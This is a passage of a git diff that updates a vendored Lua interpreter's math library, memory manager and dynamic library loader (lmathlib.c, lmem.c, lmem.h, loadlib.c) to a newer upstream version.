math_asin}, - {"atan2", math_atan2}, {"atan", math_atan}, {"ceil", math_ceil}, - {"cosh", math_cosh}, {"cos", math_cos}, {"deg", math_deg}, {"exp", math_exp}, + {"tointeger", math_toint}, {"floor", math_floor}, {"fmod", math_fmod}, - {"frexp", math_frexp}, - {"ldexp", math_ldexp}, -#if defined(LUA_COMPAT_LOG10) - {"log10", math_log10}, -#endif + {"ult", math_ult}, {"log", math_log}, {"max", math_max}, {"min", math_min}, {"modf", math_modf}, - {"pow", math_pow}, {"rad", math_rad}, - {"random", math_random}, - {"randomseed", math_randomseed}, - {"sinh", math_sinh}, {"sin", math_sin}, {"sqrt", math_sqrt}, - {"tanh", math_tanh}, {"tan", math_tan}, + {"type", math_type}, +#if defined(LUA_COMPAT_MATHLIB) + {"atan2", math_atan}, + {"cosh", math_cosh}, + {"sinh", math_sinh}, + {"tanh", math_tanh}, + {"pow", math_pow}, + {"frexp", math_frexp}, + {"ldexp", math_ldexp}, + {"log10", math_log10}, +#endif + /* placeholders */ + {"random", NULL}, + {"randomseed", NULL}, + {"pi", NULL}, + {"huge", NULL}, + {"maxinteger", NULL}, + {"mininteger", NULL}, {NULL, NULL} }; @@ -273,8 +765,13 @@ LUAMOD_API int luaopen_math(lua_State *L) { luaL_newlib(L, mathlib); lua_pushnumber(L, PI); lua_setfield(L, -2, "pi"); - lua_pushnumber(L, HUGE_VAL); + lua_pushnumber(L, (lua_Number)HUGE_VAL); lua_setfield(L, -2, "huge"); + lua_pushinteger(L, LUA_MAXINTEGER); + lua_setfield(L, -2, "maxinteger"); + lua_pushinteger(L, LUA_MININTEGER); + lua_setfield(L, -2, "mininteger"); + setrandfunc(L); return 1; } diff --git a/client/deps/liblua/lmem.c b/client/deps/liblua/lmem.c index 95288b7ec..ebaae2a1d 100644 --- a/client/deps/liblua/lmem.c +++ b/client/deps/liblua/lmem.c @@ -1,15 +1,17 @@ /* -** $Id: lmem.c,v 1.84 2012/05/23 15:41:53 roberto Exp $ +** $Id: lmem.c $ ** Interface to Memory Manager ** See Copyright Notice in lua.h */ - -#include - #define lmem_c #define LUA_CORE +#include "lprefix.h" + + +#include + #include "lua.h" #include "ldebug.h" @@ -23,76 +25,189 @@ /* ** About the realloc function: -** void * frealloc (void *ud, void *ptr, size_t osize, size_t nsize); -** (`osize' is the old size, `nsize' is the new size) +** void *frealloc (void *ud, void *ptr, size_t osize, size_t nsize); +** ('osize' is the old size, 'nsize' is the new size) ** -** * frealloc(ud, NULL, x, s) creates a new block of size `s' (no -** matter 'x'). +** - frealloc(ud, p, x, 0) frees the block 'p' and returns NULL. +** Particularly, frealloc(ud, NULL, 0, 0) does nothing, +** which is equivalent to free(NULL) in ISO C. ** -** * frealloc(ud, p, x, 0) frees the block `p' -** (in this specific case, frealloc must return NULL); -** particularly, frealloc(ud, NULL, 0, 0) does nothing -** (which is equivalent to free(NULL) in ANSI C) +** - frealloc(ud, NULL, x, s) creates a new block of size 's' +** (no matter 'x'). Returns NULL if it cannot create the new block. ** -** frealloc returns NULL if it cannot create or reallocate the area -** (any reallocation to an equal or smaller size cannot fail!) +** - otherwise, frealloc(ud, b, x, y) reallocates the block 'b' from +** size 'x' to size 'y'. Returns NULL if it cannot reallocate the +** block to the new size. */ - -#define MINSIZEARRAY 4 +/* +** Macro to call the allocation function. +*/ +#define callfrealloc(g,block,os,ns) ((*g->frealloc)(g->ud, block, os, ns)) -void *luaM_growaux_(lua_State *L, void *block, int *size, size_t size_elems, - int limit, const char *what) { +/* +** When an allocation fails, it will try again after an emergency +** collection, except when it cannot run a collection. The GC should +** not be called while the state is not fully built, as the collector +** is not yet fully initialized. Also, it should not be called when +** 'gcstopem' is true, because then the interpreter is in the middle of +** a collection step. +*/ +#define cantryagain(g) (completestate(g) && !g->gcstopem) + + + + +#if defined(EMERGENCYGCTESTS) +/* +** First allocation will fail except when freeing a block (frees never +** fail) and when it cannot try again; this fail will trigger 'tryagain' +** and a full GC cycle at every allocation. +*/ +static void *firsttry(global_State *g, void *block, size_t os, size_t ns) { + if (ns > 0 && cantryagain(g)) + return NULL; /* fail */ + else /* normal allocation */ + return callfrealloc(g, block, os, ns); +} +#else +#define firsttry(g,block,os,ns) callfrealloc(g, block, os, ns) +#endif + + + + + +/* +** {================================================================== +** Functions to allocate/deallocate arrays for the Parser +** =================================================================== +*/ + +/* +** Minimum size for arrays during parsing, to avoid overhead of +** reallocating to size 1, then 2, and then 4. All these arrays +** will be reallocated to exact sizes or erased when parsing ends. +*/ +#define MINSIZEARRAY 4 + + +void *luaM_growaux_(lua_State *L, void *block, int nelems, int *psize, + int size_elems, int limit, const char *what) { void *newblock; - int newsize; - if (*size >= limit / 2) { /* cannot double it? */ - if (*size >= limit) /* cannot grow even a little? */ + int size = *psize; + if (nelems + 1 <= size) /* does one extra element still fit? */ + return block; /* nothing to be done */ + if (size >= limit / 2) { /* cannot double it? */ + if (l_unlikely(size >= limit)) /* cannot grow even a little? */ luaG_runerror(L, "too many %s (limit is %d)", what, limit); - newsize = limit; /* still have at least one free place */ + size = limit; /* still have at least one free place */ } else { - newsize = (*size) * 2; - if (newsize < MINSIZEARRAY) - newsize = MINSIZEARRAY; /* minimum size */ + size *= 2; + if (size < MINSIZEARRAY) + size = MINSIZEARRAY; /* minimum size */ } - newblock = luaM_reallocv(L, block, *size, newsize, size_elems); - *size = newsize; /* update only when everything else is OK */ + lua_assert(nelems + 1 <= size && size <= limit); + /* 'limit' ensures that multiplication will not overflow */ + newblock = luaM_saferealloc_(L, block, cast_sizet(*psize) * size_elems, + cast_sizet(size) * size_elems); + *psize = size; /* update only when everything else is OK */ return newblock; } +/* +** In prototypes, the size of the array is also its number of +** elements (to save memory). So, if it cannot shrink an array +** to its number of elements, the only option is to raise an +** error. +*/ +void *luaM_shrinkvector_(lua_State *L, void *block, int *size, + int final_n, int size_elem) { + void *newblock; + size_t oldsize = cast_sizet((*size) * size_elem); + size_t newsize = cast_sizet(final_n * size_elem); + lua_assert(newsize <= oldsize); + newblock = luaM_saferealloc_(L, block, oldsize, newsize); + *size = final_n; + return newblock; +} + +/* }================================================================== */ + + l_noret luaM_toobig(lua_State *L) { luaG_runerror(L, "memory allocation error: block too big"); } +/* +** Free memory +*/ +void luaM_free_(lua_State *L, void *block, size_t osize) { + global_State *g = G(L); + lua_assert((osize == 0) == (block == NULL)); + callfrealloc(g, block, osize, 0); + g->GCdebt -= osize; +} + /* -** generic allocation routine. +** In case of allocation fail, this function will do an emergency +** collection to free some memory and then try the allocation again. +*/ +static void *tryagain(lua_State *L, void *block, + size_t osize, size_t nsize) { + global_State *g = G(L); + if (cantryagain(g)) { + luaC_fullgc(L, 1); /* try to free some memory... */ + return callfrealloc(g, block, osize, nsize); /* try again */ + } else return NULL; /* cannot run an emergency collection */ +} + + +/* +** Generic allocation routine. */ void *luaM_realloc_(lua_State *L, void *block, size_t osize, size_t nsize) { void *newblock; global_State *g = G(L); - size_t realosize = (block) ? osize : 0; - lua_assert((realosize == 0) == (block == NULL)); -#if defined(HARDMEMTESTS) - if (nsize > realosize && g->gcrunning) - luaC_fullgc(L, 1); /* force a GC whenever possible */ -#endif - newblock = (*g->frealloc)(g->ud, block, osize, nsize); - if (newblock == NULL && nsize > 0) { - api_check(L, nsize > realosize, - "realloc cannot fail when shrinking a block"); - if (g->gcrunning) { - luaC_fullgc(L, 1); /* try to free some memory... */ - newblock = (*g->frealloc)(g->ud, block, osize, nsize); /* try again */ - } - if (newblock == NULL) - luaD_throw(L, LUA_ERRMEM); + lua_assert((osize == 0) == (block == NULL)); + newblock = firsttry(g, block, osize, nsize); + if (l_unlikely(newblock == NULL && nsize > 0)) { + newblock = tryagain(L, block, osize, nsize); + if (newblock == NULL) /* still no memory? */ + return NULL; /* do not update 'GCdebt' */ } lua_assert((nsize == 0) == (newblock == NULL)); - g->GCdebt = (g->GCdebt + nsize) - realosize; + g->GCdebt = (g->GCdebt + nsize) - osize; return newblock; } + +void *luaM_saferealloc_(lua_State *L, void *block, size_t osize, + size_t nsize) { + void *newblock = luaM_realloc_(L, block, osize, nsize); + if (l_unlikely(newblock == NULL && nsize > 0)) /* allocation failed? */ + luaM_error(L); + return newblock; +} + + +void *luaM_malloc_(lua_State *L, size_t size, int tag) { + if (size == 0) + return NULL; /* that's all */ + else { + global_State *g = G(L); + void *newblock = firsttry(g, NULL, tag, size); + if (l_unlikely(newblock == NULL)) { + newblock = tryagain(L, NULL, tag, size); + if (newblock == NULL) + luaM_error(L); + } + g->GCdebt += size; + return newblock; + } +} diff --git a/client/deps/liblua/lmem.h b/client/deps/liblua/lmem.h index 2fad8d41e..e35153fca 100644 --- a/client/deps/liblua/lmem.h +++ b/client/deps/liblua/lmem.h @@ -1,5 +1,5 @@ /* -** $Id: lmem.h,v 1.40 2013/02/20 14:08:21 roberto Exp $ +** $Id: lmem.h $ ** Interface to Memory Manager ** See Copyright Notice in lua.h */ @@ -14,44 +14,80 @@ #include "lua.h" +#define luaM_error(L) luaD_throw(L, LUA_ERRMEM) + + /* -** This macro avoids the runtime division MAX_SIZET/(e), as 'e' is -** always constant. -** The macro is somewhat complex to avoid warnings: -** +1 avoids warnings of "comparison has constant result"; -** cast to 'void' avoids warnings of "value unused". +** This macro tests whether it is safe to multiply 'n' by the size of +** type 't' without overflows. Because 'e' is always constant, it avoids +** the runtime division MAX_SIZET/(e). +** (The macro is somewhat complex to avoid warnings: The 'sizeof' +** comparison avoids a runtime comparison when overflow cannot occur. +** The compiler should be able to optimize the real test by itself, but +** when it does it, it may give a warning about "comparison is always +** false due to limited range of data type"; the +1 tricks the compiler, +** avoiding this warning but also this optimization.) */ -#define luaM_reallocv(L,b,on,n,e) \ - (cast(void, \ - (cast(size_t, (n)+1) > MAX_SIZET/(e)) ? (luaM_toobig(L), 0) : 0), \ - luaM_realloc_(L, (b), (on)*(e), (n)*(e))) +#define luaM_testsize(n,e) \ + (sizeof(n) >= sizeof(size_t) && cast_sizet((n)) + 1 > MAX_SIZET/(e)) -#define luaM_freemem(L, b, s) luaM_realloc_(L, (b), (s), 0) -#define luaM_free(L, b) luaM_realloc_(L, (b), sizeof(*(b)), 0) -#define luaM_freearray(L, b, n) luaM_reallocv(L, (b), n, 0, sizeof((b)[0])) +#define luaM_checksize(L,n,e) \ + (luaM_testsize(n,e) ? luaM_toobig(L) : cast_void(0)) -#define luaM_malloc(L,s) luaM_realloc_(L, NULL, 0, (s)) -#define luaM_new(L,t) cast(t *, luaM_malloc(L, sizeof(t))) -#define luaM_newvector(L,n,t) \ - cast(t *, luaM_reallocv(L, NULL, 0, n, sizeof(t))) -#define luaM_newobject(L,tag,s) luaM_realloc_(L, NULL, tag, (s)) +/* +** Computes the minimum between 'n' and 'MAX_SIZET/sizeof(t)', so that +** the result is not larger than 'n' and cannot overflow a 'size_t' +** when multiplied by the size of type 't'. (Assumes that 'n' is an +** 'int' or 'unsigned int' and that 'int' is not larger than 'size_t'.) +*/ +#define luaM_limitN(n,t) \ + ((cast_sizet(n) <= MAX_SIZET/sizeof(t)) ? (n) : \ + cast_uint((MAX_SIZET/sizeof(t)))) + + +/* +** Arrays of chars do not need any test +*/ +#define luaM_reallocvchar(L,b,on,n) \ + cast_charp(luaM_saferealloc_(L, (b), (on)*sizeof(char), (n)*sizeof(char))) + +#define luaM_freemem(L, b, s) luaM_free_(L, (b), (s)) +#define luaM_free(L, b) luaM_free_(L, (b), sizeof(*(b))) +#define luaM_freearray(L, b, n) luaM_free_(L, (b), (n)*sizeof(*(b))) + +#define luaM_new(L,t) cast(t*, luaM_malloc_(L, sizeof(t), 0)) +#define luaM_newvector(L,n,t) cast(t*, luaM_malloc_(L, (n)*sizeof(t), 0)) +#define luaM_newvectorchecked(L,n,t) \ + (luaM_checksize(L,n,sizeof(t)), luaM_newvector(L,n,t)) + +#define luaM_newobject(L,tag,s) luaM_malloc_(L, (s), tag) #define luaM_growvector(L,v,nelems,size,t,limit,e) \ - if ((nelems)+1 > (size)) \ - ((v)=cast(t *, luaM_growaux_(L,v,&(size),sizeof(t),limit,e))) + ((v)=cast(t *, luaM_growaux_(L,v,nelems,&(size),sizeof(t), \ + luaM_limitN(limit,t),e))) #define luaM_reallocvector(L, v,oldn,n,t) \ - ((v)=cast(t *, luaM_reallocv(L, v, oldn, n, sizeof(t)))) + (cast(t *, luaM_realloc_(L, v, cast_sizet(oldn) * sizeof(t), \ + cast_sizet(n) * sizeof(t)))) + +#define luaM_shrinkvector(L,v,size,fs,t) \ + ((v)=cast(t *, luaM_shrinkvector_(L, v, &(size), fs, sizeof(t)))) LUAI_FUNC l_noret luaM_toobig(lua_State *L); /* not to be called directly */ LUAI_FUNC void *luaM_realloc_(lua_State *L, void *block, size_t oldsize, size_t size); -LUAI_FUNC void *luaM_growaux_(lua_State *L, void *block, int *size, - size_t size_elem, int limit, +LUAI_FUNC void *luaM_saferealloc_(lua_State *L, void *block, size_t oldsize, + size_t size); +LUAI_FUNC void luaM_free_(lua_State *L, void *block, size_t osize); +LUAI_FUNC void *luaM_growaux_(lua_State *L, void *block, int nelems, + int *size, int size_elem, int limit, const char *what); +LUAI_FUNC void *luaM_shrinkvector_(lua_State *L, void *block, int *nelem, + int final_n, int size_elem); +LUAI_FUNC void *luaM_malloc_(lua_State *L, size_t size, int tag); #endif diff --git a/client/deps/liblua/loadlib.c b/client/deps/liblua/loadlib.c index d3c40decf..c5d34455c 100644 --- a/client/deps/liblua/loadlib.c +++ b/client/deps/liblua/loadlib.c @@ -1,5 +1,5 @@ /* -** $Id: loadlib.c,v 1.111 2012/05/30 12:33:44 roberto Exp $ +** $Id: loadlib.c $ ** Dynamic library loader for Lua ** See Copyright Notice in lua.h ** @@ -8,68 +8,22 @@ ** systems. */ - -/* -** if needed, includes windows header before everything else -*/ -#if defined(_WIN32) -#include -#endif - - -#include -#include - - #define loadlib_c #define LUA_LIB +#include "lprefix.h" + + +#include +#include +#include + #include "lua.h" #include "lauxlib.h" #include "lualib.h" -/* -** LUA_PATH and LUA_CPATH are the names of the environment -** variables that Lua check to set its paths. -*/ -#if !defined(LUA_PATH) -#define LUA_PATH "LUA_PATH" -#endif - -#if !defined(LUA_CPATH) -#define LUA_CPATH "LUA_CPATH" -#endif - -#define LUA_PATHSUFFIX "_" LUA_VERSION_MAJOR "_" LUA_VERSION_MINOR - -#define LUA_PATHVERSION LUA_PATH LUA_PATHSUFFIX -#define LUA_CPATHVERSION LUA_CPATH LUA_PATHSUFFIX - -/* -** LUA_PATH_SEP is the character that separates templates in a path. -** LUA_PATH_MARK is the string that marks the substitution points in a -** template. -** LUA_EXEC_DIR in a Windows path is replaced by the executable's -** directory. -** LUA_IGMARK is a mark to ignore all before it when building the -** luaopen_ function name. -*/ -#if !defined (LUA_PATH_SEP) -#define LUA_PATH_SEP ";" -#endif -#if !defined (LUA_PATH_MARK) -#define LUA_PATH_MARK "?" -#endif -#if !defined (LUA_EXEC_DIR) -#define LUA_EXEC_DIR "!" -#endif -#if !defined (LUA_IGMARK) -#define LUA_IGMARK "-" -#endif - - /* ** LUA_CSUBSEP is the character that replaces dots in submodule names ** when searching for a C loader. @@ -77,44 +31,68 @@ ** when searching for a Lua loader. */ #if !defined(LUA_CSUBSEP) -#define LUA_CSUBSEP LUA_DIRSEP +#define LUA_CSUBSEP LUA_DIRSEP #endif #if !defined(LUA_LSUBSEP) -#define LUA_LSUBSEP LUA_DIRSEP +#define LUA_LSUBSEP LUA_DIRSEP #endif /* prefix for open functions in C libraries */ -#define LUA_POF "luaopen_" +#define LUA_POF "luaopen_" /* separator for open functions in C libraries */ -#define LUA_OFSEP "_" +#define LUA_OFSEP "_" -/* table (in the registry) that keeps handles for all loaded C libraries */ -#define CLIBS "_CLIBS" +/* +** key for table in the registry that keeps handles +** for all loaded C libraries +*/ +static const char *const CLIBS = "_CLIBS"; -#define LIB_FAIL "open" +#define LIB_FAIL "open" -/* error codes for ll_loadfunc */ -#define ERRLIB 1 -#define ERRFUNC 2 +#define setprogdir(L) ((void)0) -#define setprogdir(L) ((void)0) + +/* +** Special type equivalent to '(void*)' for functions in gcc +** (to suppress warnings when converting function pointers) +*/ +typedef void (*voidf)(void); /* ** system-dependent functions */ -static void ll_unloadlib(void *lib); -static void *ll_load(lua_State *L, const char *path, int seeglb); -static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym); + +/* +** unload library 'lib' +*/ +static void lsys_unloadlib(void *lib); + +/* +** load C library in file 'path'. If 'seeglb', load with all names in +** the library global. +** Returns the library; in case of error, returns NULL plus an +** error string in the stack. +*/ +static void *lsys_load(lua_State *L, const char *path, int seeglb); + +/* +** Try to find a function named 'sym' in library 'lib'. +** Returns the function; in case of error, returns NULL plus an +** error string in the stack. +*/ +static lua_CFunction lsys_sym(lua_State *L, void *lib, const char *sym); -#if defined(LUA_USE_DLOPEN) + +#if defined(LUA_USE_DLOPEN) /* { */ /* ** {======================================================================== ** This is an implementation of loadlib based on the dlfcn interface. @@ -126,21 +104,35 @@ static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym); #include -static void ll_unloadlib(void *lib) { +/* +** Macro to convert pointer-to-void* to pointer-to-function. This cast +** is undefined according to ISO C, but POSIX assumes that it works. +** (The '__extension__' in gnu compilers is only to avoid warnings.) +*/ +#if defined(__GNUC__) +#define cast_func(p) (__extension__ (lua_CFunction)(p)) +#else +#define cast_func(p) ((lua_CFunction)(p)) +#endif + + +static void lsys_unloadlib(void *lib) { dlclose(lib); } -static void *ll_load(lua_State *L, const char *path, int seeglb) { +static void *lsys_load(lua_State *L, const char *path, int seeglb) { void *lib = dlopen(path, RTLD_NOW | (seeglb ? RTLD_GLOBAL : RTLD_LOCAL)); - if (lib == NULL) lua_pushstring(L, dlerror()); + if (l_unlikely(lib == NULL)) + lua_pushstring(L, dlerror()); return lib; } -static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { - lua_CFunction f = (lua_CFunction)dlsym(lib, sym); - if (f == NULL) lua_pushstring(L, dlerror()); +static lua_CFunction lsys_sym(lua_State *L, void *lib, const char *sym) { + lua_CFunction f = cast_func(dlsym(lib, sym)); + if (l_unlikely(f == NULL)) + lua_pushstring(L, dlerror()); return f; } @@ -148,38 +140,48 @@ static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { -#elif defined(LUA_DL_DLL) +#elif defined(LUA_DL_DLL) /* }{ */ /* ** {====================================================================== ** This is an implementation of loadlib for Windows using native functions. ** ======================================================================= */ -#undef setprogdir +#include + /* ** optional flags for LoadLibraryEx */ #if !defined(LUA_LLE_FLAGS) -#define LUA_LLE_FLAGS 0 +#define LUA_LLE_FLAGS 0 #endif +#undef setprogdir + + +/* +** Replace in the path (on the top of the stack) any occurrence +** of LUA_EXEC_DIR with the executable's path. +*/ static void setprogdir(lua_State *L) { char buff[MAX_PATH + 1]; char *lb; DWORD nsize = sizeof(buff) / sizeof(char); - DWORD n = GetModuleFileNameA(NULL, buff, nsize); + DWORD n = GetModuleFileNameA(NULL, buff, nsize); /* get exec. name */ if (n == 0 || n == nsize || (lb = strrchr(buff, '\\')) == NULL) luaL_error(L, "unable to get ModuleFileName"); else { - *lb = '\0'; + *lb = '\0'; /* cut name on the last '\\' to get the path */ luaL_gsub(L, lua_tostring(L, -1), LUA_EXEC_DIR, buff); lua_remove(L, -2); /* remove original string */ } } + + static void pusherror(lua_State *L) { int error = GetLastError(); char buffer[128]; @@ -190,12 +192,12 @@ static void pusherror(lua_State *L) { lua_pushfstring(L, "system error %d\n", error); } -static void ll_unloadlib(void *lib) { +static void lsys_unloadlib(void *lib) { FreeLibrary((HMODULE)lib); } -static void *ll_load(lua_State *L, const char *path, int seeglb) { +static void *lsys_load(lua_State *L, const char *path, int seeglb) { HMODULE lib = LoadLibraryExA(path, NULL, LUA_LLE_FLAGS); (void)(seeglb); /* not used: symbols are 'global' by default */ if (lib == NULL) pusherror(L); @@ -203,8 +205,8 @@ static void *ll_load(lua_State *L, const char *path, int seeglb) { } -static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { - lua_CFunction f = (lua_CFunction)GetProcAddress((HMODULE)lib, sym); +static lua_CFunction lsys_sym(lua_State *L, void *lib, const char *sym) { + lua_CFunction f = (lua_CFunction)(voidf)GetProcAddress((HMODULE)lib, sym); if (f == NULL) pusherror(L); return f; } @@ -212,7 +214,7 @@ static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { /* }====================================================== */ -#else +#else /* }{ */ /* ** {====================================================== ** Fallback for other systems @@ -220,18 +222,18 @@ static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { */ #undef LIB_FAIL -#define LIB_FAIL "absent" +#define LIB_FAIL "absent" -#define DLMSG "dynamic libraries not enabled; check your Lua installation" +#define DLMSG "dynamic libraries not enabled; check your Lua installation" -static void ll_unloadlib(void *lib) { +static void lsys_unloadlib(void *lib) { (void)(lib); /* not used */ } -static void *ll_load(lua_State *L, const char *path, int seeglb) { +static void *lsys_load(lua_State *L, const char *path, int seeglb) { (void)(path); (void)(seeglb); /* not used */ lua_pushliteral(L, DLMSG); @@ -239,7 +241,7 @@ static void *ll_load(lua_State *L, const char *path, int seeglb) { } -static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { +static lua_CFunction lsys_sym(lua_State *L, void *lib, const char *sym) { (void)(lib); (void)(sym); /* not used */ lua_pushliteral(L, DLMSG); @@ -247,10 +249,83 @@ static lua_CFunction ll_sym(lua_State *L, void *lib, const char *sym) { } /* }====================================================== */ +#endif /* } */ + + +/* +** {================================================================== +** Set Paths +** =================================================================== +*/ + +/* +** LUA_PATH_VAR and LUA_CPATH_VAR are the names of the environment +** variables that Lua check to set its paths. +*/ +#if !defined(LUA_PATH_VAR) +#define LUA_PATH_VAR "LUA_PATH" +#endif + +#if !defined(LUA_CPATH_VAR) +#define LUA_CPATH_VAR "LUA_CPATH" #endif -static void *ll_checkclib(lua_State *L, const char *path) { + +/* +** return registry.LUA_NOENV as a boolean +*/ +static int noenv(lua_State *L) { + int b; + lua_getfield(L, LUA_REGISTRYINDEX, "LUA_NOENV"); + b = lua_toboolean(L, -1); + lua_pop(L, 1); /* remove value */ + return b; +} + + +/* +** Set a path +*/ +static void setpath(lua_State *L, const char *fieldname, + const char *envname, + const char *dft) { + const char *dftmark; + const char *nver = lua_pushfstring(L, "%s%s", envname, LUA_VERSUFFIX); + const char *path = getenv(nver); /* try versioned name */ + if (path == NULL) /* no versioned environment variable? */ + path = getenv(envname); /* try unversioned name */ + if (path == NULL || noenv(L)) /* no environment variable? */ + lua_pushstring(L, dft); /* use default */ + else if ((dftmark = strstr(path, LUA_PATH_SEP LUA_PATH_SEP)) == NULL) + lua_pushstring(L, path); /* nothing to change */ + else { /* path contains a ";;": insert default path in its place */ + size_t len = strlen(path); + luaL_Buffer b; + luaL_buffinit(L, &b); + if (path < dftmark) { /* is there a prefix before ';;'? */ + luaL_addlstring(&b, path, dftmark - path); /* add it */ + luaL_addchar(&b, *LUA_PATH_SEP); + } + luaL_addstring(&b, dft); /* add default */ + if (dftmark < path + len - 2) { /* is there a suffix after ';;'? */ + luaL_addchar(&b, *LUA_PATH_SEP); + luaL_addlstring(&b, dftmark + 2, (path + len - 2) - dftmark); + } + luaL_pushresult(&b); + } + setprogdir(L); + lua_setfield(L, -3, fieldname); /* package[fieldname] = path value */ + lua_pop(L, 1); /* pop versioned variable name ('nver') */ +} + +/* }================================================================== */ + + +/* +** return registry.CLIBS[path] +*/ +static void *checkclib(lua_State *L, const char *path) { void *plib; lua_getfield(L, LUA_REGISTRYINDEX, CLIBS); lua_getfield(L, -1, path); @@ -260,7 +335,11 @@ static void *ll_checkclib(lua_State *L, const char *path) { } -static void ll_addtoclib(lua_State *L, const char *path, void *plib) { +/* +** registry.CLIBS[path] = plib -- for queries +** registry.CLIBS[#CLIBS + 1] = plib -- also keep a list of all libraries +*/ +static void addtoclib(lua_State *L, const char *path, void *plib) { lua_getfield(L, LUA_REGISTRYINDEX, CLIBS); lua_pushlightuserdata(L, plib); lua_pushvalue(L, -1); @@ -271,32 +350,48 @@ static void ll_addtoclib(lua_State *L, const char *path, void *plib) { /* -** __gc tag method for CLIBS table: calls 'll_unloadlib' for all lib +** __gc tag method for CLIBS table: calls 'lsys_unloadlib' for all lib ** handles in list CLIBS */ static int gctm(lua_State *L) { - int n = luaL_len(L, 1); + lua_Integer n = luaL_len(L, 1); for (; n >= 1; n--) { /* for each handle, in reverse order */ lua_rawgeti(L, 1, n); /* get handle CLIBS[n] */ - ll_unloadlib(lua_touserdata(L, -1)); + lsys_unloadlib(lua_touserdata(L, -1)); lua_pop(L, 1); /* pop handle */ } return 0; } -static int ll_loadfunc(lua_State *L, const char *path, const char *sym) { - void *reg = ll_checkclib(L, path); /* check loaded C libraries */ + +/* error codes for 'lookforfunc' */ +#define ERRLIB 1 +#define ERRFUNC 2 + +/* +** Look for a C function named 'sym' in a dynamically loaded library +** 'path'. +** First, check whether the library is already loaded; if not, try +** to load it. +** Then, if 'sym' is '*', return true (as library has been loaded). +** Otherwise, look for symbol 'sym' in the library and push a +** C function with that symbol. +** Return 0 and 'true' or a function in the stack; in case of +** errors, return an error code and an error message in the stack. +*/ +static int lookforfunc(lua_State *L, const char *path, const char *sym) { + void *reg = checkclib(L, path); /* check loaded C libraries */ if (reg == NULL) { /* must load library? */ - reg = ll_load(L, path, *sym == '*'); + reg = lsys_load(L, path, *sym == '*'); /* global symbols if 'sym'=='*' */ if (reg == NULL) return ERRLIB; /* unable to load library */ - ll_addtoclib(L, path, reg); + addtoclib(L, path, reg); } if (*sym == '*') { /* loading only library (no function)? */ lua_pushboolean(L, 1); /* return 'true' */ return 0; /* no errors */ } else { - lua_CFunction f = ll_sym(L, reg, sym); + lua_CFunction f = lsys_sym(L, reg, sym); if (f == NULL) return ERRFUNC; /* unable to find function */ lua_pushcfunction(L, f); /* else create new function */ @@ -308,14 +403,14 @@ static int ll_loadfunc(lua_State *L, const char *path, const char *sym) { static int ll_loadlib(lua_State *L) { const char *path = luaL_checkstring(L, 1); const char *init = luaL_checkstring(L, 2); - int stat = ll_loadfunc(L, path, init); - if (stat == 0) /* no errors? */ + int stat = lookforfunc(L, path, init); + if (l_likely(stat == 0)) /* no errors? */ return 1; /* return the loaded function */ else { /* error; error message is on stack top */ - lua_pushnil(L); + luaL_pushfail(L); lua_insert(L, -2); lua_pushstring(L, (stat == ERRLIB) ? LIB_FAIL : "init"); - return 3; /* return nil, error message, and where */ + return 3; /* return fail, error message, and where */ } } @@ -336,14 +431,42 @@ static int readable(const char *filename) { } -static const char *pushnexttemplate(lua_State *L, const char *path) { - const char *l; - while (*path == *LUA_PATH_SEP) path++; /* skip separators */ - if (*path == '\0') return NULL; /* no more templates */ - l = strchr(path, *LUA_PATH_SEP); /* find next separator */ - if (l == NULL) l = path + strlen(path); - lua_pushlstring(L, path, l - path); /* template */ - return l; +/* +** Get the next name in '*path' = 'name1;name2;name3;...', changing +** the ending ';' to '\0' to create a zero-terminated string. Return +** NULL when list ends. +*/ +static const char *getnextfilename(char **path, char *end) { + char *sep; + char *name = *path; + if (name == end) + return NULL; /* no more names */ + else if (*name == '\0') { /* from previous iteration? */ + *name = *LUA_PATH_SEP; /* restore separator */ + name++; /* skip it */ + } + sep = strchr(name, *LUA_PATH_SEP); /* find next separator */ + if (sep == NULL) /* separator not found? */ + sep = end; /* name goes until the end */ + *sep = '\0'; /* finish file name */ + *path = sep; /* will start next search from here */ + return name; +} + + +/* +** Given a path such as ";blabla.so;blublu.so", pushes the string +** +** no file 'blabla.so' +** no file 'blublu.so' +*/ +static void pusherrornotfound(lua_State *L, const char *path) { + luaL_Buffer b; + luaL_buffinit(L, &b); + luaL_addstring(&b, "no file '"); + luaL_addgsub(&b, path, LUA_PATH_SEP, "'\n\tno file '"); + luaL_addstring(&b, "'"); + luaL_pushresult(&b); } @@ -351,21 +474,25 @@ static const char *searchpath(lua_State *L, const char *name, const char *path, const char *sep, const char *dirsep) { - luaL_Buffer msg; /* to build error message */ - luaL_buffinit(L, &msg); - if (*sep != '\0') /* non-empty separator? */ + luaL_Buffer buff; + char *pathname; /* path with name inserted */ + char *endpathname; /* its end */ + const char *filename; + /* separator is non-empty and appears in 'name'? */ + if (*sep != '\0' && strchr(name, *sep) != NULL) name = luaL_gsub(L, name, sep, dirsep); /* replace it by 'dirsep' */ - while ((path = pushnexttemplate(L, path)) != NULL) { - const char *filename = luaL_gsub(L, lua_tostring(L, -1), - LUA_PATH_MARK, name); - lua_remove(L, -2); /* remove path template */ + luaL_buffinit(L, &buff); + /* add path to the buffer, replacing marks ('?') with the file name */ + luaL_addgsub(&buff, path, LUA_PATH_MARK, name); + luaL_addchar(&buff, '\0'); + pathname = luaL_buffaddr(&buff); /* writable list of file names */ + endpathname = pathname + luaL_bufflen(&buff) - 1; + while ((filename = getnextfilename(&pathname, endpathname)) != NULL) { if (readable(filename)) /* does file exist and is readable? */ - return filename; /* return that file name */ - lua_pushfstring(L, "\n\tno file " LUA_QS, filename); - lua_remove(L, -2); /* remove file name */ - luaL_addvalue(&msg); /* concatenate error msg. entry */ + return lua_pushstring(L, filename); /* save and return name */ } - luaL_pushresult(&msg); /* create error message */ + luaL_pushresult(&buff); /* push path to create error message */ + pusherrornotfound(L, lua_tostring(L, -1)); /* create error message */ return NULL; /* not found */ } @@ -377,9 +504,9 @@ static int ll_searchpath(lua_State *L) { luaL_optstring(L, 4, LUA_DIRSEP)); if (f != NULL) return 1; else { /* error message is on top of the stack */ - lua_pushnil(L); + luaL_pushfail(L); lua_insert(L, -2); - return 2; /* return nil + error message */ + return 2; /* return fail + error message */ } } @@ -390,19 +517,18 @@ static const char *findfile(lua_State *L, const char 